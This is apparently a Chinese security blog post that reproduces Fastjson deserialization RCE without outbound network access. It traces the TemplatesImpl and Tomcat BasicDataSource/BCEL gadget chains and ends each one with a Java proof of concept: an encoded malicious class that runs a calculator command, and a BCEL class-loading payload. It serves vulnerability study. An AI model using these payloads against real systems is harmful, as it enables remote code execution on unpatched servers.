前言
在不出网的情况下Fastjson无法使用rmi之类的方法来rce,所以这次来复现一下Fastjson不出网情况下的利用。 为了方便复现,这里选择1.2.4版本的Fastjson。
利用类
1. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
(需要parse或者parseObject第二个参数为Feature.SupportNonPublicField)
3. org.apache.tomcat.dbcp.dbcp.BasicDataSource(需要dbcp或tomcat-dbcp的依赖)
3. org.apache.tomcat.dbcp.dbcp2.BasicDataSource
(Tomcat8.0后的版本,同样需要dbcp或tomcat-dbcp的依赖)
TemplatesImpl
这种利用方式比较苛刻,需要parse或者parseObject第二个参数为Feature.SupportNonPublicField,否则无法访问。 因为TemplatesImpl中_bytecodes却是私有属性,_name也是私有域,fastjson只能反序列化public。
              	
                
                跳过前面文章分析过的一些代码段,直接来看一下如何解析_bytecodes,以及怎么调用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类。 首先,来到com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze,这里调用parser.parseArray方法对字节数组进行解析。
              	
                
                在该方法内又获取反序列化器进行反序列化操作,回调deserialze方法。
              	
                
                到deserialze方法后,调用lexer.bytesValue获取bytes。
              	
                
                这里对数据进行base64解码处理,将bytes数据返回。所以_bytecodes需要进行base64编码。
              	
                
                根据@type和outputProperties调用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties, 接着调用newTransformer方法。
              	
                
                继续跟进一下getTransletInstance方法。
              	
                
                来到getTransletInstance方法,这个_name没什么用直接跳过(只要不为空就不会直接返回null)。同时可以看到408行对_class数组中的class进行实例化, 所以重点看一下_class数组中class怎么来的。跟进对_class进行判空的if,这里调用了defineTransletClasses方法。
              	
                
                可以看到loader.defineClass的值赋值给了_class数组,并且会获取_class的父类判断是否继承于ABSTRACT_TRANSLET, 否则会在下面的if中抛出异常。所以poc构造class需要继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
              	
              	
              	并且如果没有_tfactory,这里会进入doPrivileged抛出异常。
              	
              	
              	这里也可以看到loader.defineClass方法确实能将base64解码后的_bytecodes转化为class。
              	
              	
              	之后回到这里将_class数组中的class实例化。
              	
              	
                
                
                POC
public static void main(String[] args) throws Exception {
    String bytecode = "yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAMVGVtcFBvYy5qYXZhDAAIAAkHACEMACIAIwEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMACQAJQEAEEZhc3Rqc29uL1RlbXBQb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAADQAEAA4ADQAPAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEwABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFwAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGgAIABsADAAAAAQAAQAUAAEAFQAAAAIAFg==";
    String payload = "{" +
            "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", " +
            "\"_bytecodes\": [\"" + bytecode + "\"], " +
            "\"_name\": \"pwn\", " +
            "\"_tfactory\": { }, " +
            "\"_outputProperties\":{ }" +
            "}";
    JSON.parse(payload, Feature.SupportNonPublicField);
}
              		
              		BasicDataSource
这条利用链主要是利用tomcat中com.sun.org.apache.bcel.internal.util.ClassLoader#loadclass方法加载bcel字节码,之后调用defineClass进行加载字节码。 这里先来到org.apache.tomcat.dbcp.dbcp2.BasicDataSource#getConnection方法中,这里调用了createDataSource方法。
              	
              	
              	接着调用了createConnectionFactory方法,继续跟进一下。
              	
              	
              	来到这里就开始有头绪了,这里调用了Class.forName方法去加载driverClassName,之后调用loadClass加载。
              	
              	
              	
              	在loadClass方法中可以看到这里判断class_name是否为BECL编码,是的话传入createClass方法。
              	
              	
              	到了createClass方法,这里用Utility.decode方法将BECL编码转为了字节码。
              	
              	
              	
              	
              	POC
public static void main(String[] args) throws Exception {
    JavaClass cls = Repository.lookupClass(BasicPoc.class);
    String code = Utility.encode(cls.getBytes(), true);
    String bcelcode = "$$BCEL$$" + code;
//        new ClassLoader().loadClass(code).newInstance();
    String payload = "{\n" +
            "    {\n" +
            "        \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
            "        \"x\":{\n" +
            "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
            "                \"driverClassLoader\": {\n" +
            "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
            "                },\n" +
            "                \"driverClassName\": \"" + bcelcode + "\"\n" +
            "        }\n" +
            "    }: \"x\"\n" +
            "}";
    JSON.parse(payload);
}
									
									There Is Nothing Below
                
                Turn at the next intersection.